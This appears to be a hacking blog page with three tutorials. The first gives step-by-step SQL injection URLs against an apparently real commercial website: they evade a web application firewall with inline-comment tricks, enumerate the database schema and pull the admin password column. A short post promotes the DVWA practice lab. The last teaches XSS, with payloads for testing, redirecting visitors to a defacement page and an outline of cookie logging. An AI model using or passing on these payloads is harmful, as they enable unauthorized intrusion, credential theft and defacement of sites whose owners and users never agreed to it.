ByPassing Web Application Firewall in SQL injection

hi  all !

Today i am going to present a tutorial on  ByPassing Web Application Firewall in SQL injection 

ok lets start. i am taking a website as an example which is WAF protected 

come to Point ! our test website is 

http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=2109

first of all we will find out the total number of columns 

total number of columns are 14 (find out columns using order by command)

now we are going to use union select command to find out through which column

our data will be displayed to the screen

http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109

 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--

 but WAF will block it and 403 page will be displayed 

 ok 

how to bypass it ?

use union and select keyword as inline commant and url will be like this 

 http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

 firewall bypassed :D

 ok 

 screen is showing number 2,3 and 9. so we can take any of these and i am going to exract data via column 2 

 we are going to extract the tables name 

 url will be like this one 

 http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!table_name*/,3,4,5,6,7,8,9,10,11,12,13,14+from+/*!information_schema*/.tables+where+/*!table_schema*/+like+database()+limit 0,1--

 we are using limit clause because group _concat not working and we can extract  tables name one by one using limit clause limit 0,1 will help us to extract first table name from database to extract next table name increase the value of limit 0,1 to limit 1,1like this

 http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!table_name*/,3,4,5,6,7,8,9,10,11,12,13,14+from+/*!information_schema*/.tables+where+/*!table_schema*/+like+database()+limit 1,1--

 and page will show next table name

we got the admin table that is "admin" 

 its time to gain the names of columns of  table "admin"

 URL will be like this :-

 http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!column_name*/,3,4,5,6,7,8,9,10,11,12,13,14+from+/*!information_schema*/.columns+where+/*!table_name*/=char(97,100,109,105,110) limit 0,1--

 again we need to use limit clause (same reason , group_concat not working) 

  by executing this url we got the column having name username

when i incresed the value of limit from limit 0,1 to limit 1,1 , second column name that is Password showed on screen

http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!column_name*/,3,4,5,6,7,8,9,10,11,12,13,14+from+/*!information_schema*/.columns+where+/*!table_name*/=char(97,100,109,105,110) limit 0,1--

we have done with columns too table name is admin and columns are Username and Passwor lets move to final step  now we are goung to extract to username and password from username and password column when group_concat is not working its batter to extract data from one column at a time 

i am going to extract the password an  URL will be like this :-

   http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!Password*/,3,4,5,6,7,8,9,10,11,12,13,14+from+admin-

   and this  tutorial has been over :D

   Thank you !

Read More

Full Website Hacking Simulator (DVWA)

(DVWA) Damn Vulnerable Web Application  is a collection of website hacking tool based on PHP / mySQL. DVWA may be an option for beginners to learn web hacking web hacking techniques from scratch. Various techniques web hacking attacks can be obtained from this tool. Besides easy to use, lightweight and complete, DVWA run through a local server (localhost) using WAMP / XAMP / LAMP and others.

DVWA include some web hacking tools such as :
- SQL Injection
- XSS (Cross Site Scripting)
- LFI (Local File Inclusion)
- RFI (Remote File Inclusion)
- Command Execution
- Upload Script
- Login Brute Force

Download here

Read More

XSS (Cross Site Scripting)

 

 

This is a very common vulnerability called XSS/Cross Site Scripting. Plus how to exploit it.

What is XSS, what can I accomplish with it?
XSS is common in search bars and comment boxes. We can then inject almost any type of programming language into the website. Whether it be Javascript, HTML or XML. XSS is mainly directed at Javascript injection. However, you can inject other languages which will be shown later.
Most people use it to display messages on the website, redirect you to their defacement and even put cookie loggers and XSS shells on the website.

What causes the vulnerability?
Poor PHP coding within text boxes and submission forms. They were too lazy to code it properly allowing us to inject strings into the source code, that would then give us the conclusion of what we put in since it's also in the source code. They did not bother to filter what we type in. They allowed characters such as ">, ", /", etc.

What types of XSS are there?
There are two types of XSS. Persistent and non-persistent. If you inject some code into the website and it sticks to the website (you leave the page and come back, and it's still there) then it is persistent. That is good. When you get non-persistent it will not stick on the website, you will only see it once. With persistent XSS you can do much more, leave messages, redirect them, etc. With non-persistent the most you can do is upload a cookie logger.

What will you be teaching today?
The basics of XSS and cookie logging.

How to test for XSS vulnerabilities.
To test if the website is vulnerable to XSS we want to go to a search box and inject some Javascript. We've found a search box and now we want to use Javascript to alert a message so we can see if the Javascript was successfully executed.

**<*script*>alert('XSS');</*script*>
(remove every * )
We now see a pop up message on our screen saying "XSS". This is what it should look like:http://img845.imageshack.us/img845/7924/xss1.png

In some cases, a message might not pop up. If it doesn't work, check the source code and have a look at the output. Most of the time the error requires you to make a little change.

"*>*<script*>alert('XSS');</*script*>
(remove every * )
Okay, we have found out that it is vulnerable. We can now move on.

How can I deface a webpage with XSS?
I will be showing you methods for persistent, and non-persistent XSS.

Persistent XSS.
First I will be starting with persistent XSS. Since it's persistent I want to redirect my victims to a deface page. We simply just inject this some more Javascript like we did before:

<*script*>window.location="*http://yourdefacepage.com/index.html";<*/script*>
(remove every * )
Remember, you can always alter the code if it doesn't work.
You can do many things with XSS, you just need all the right strings. I'm only focusing on defacing, since most people just deface sites these days.

Non-persistent XSS.
Okay. Obviously we can't redirect users with non-persistent. But with basic web-based programming knowledge we can make a cookie logger. We may also need advanced social engineering skills for people to open our cookie logger.

How to make a cookie logger. (Cookie Logger's Tutorial Coming Soon ...)

Read More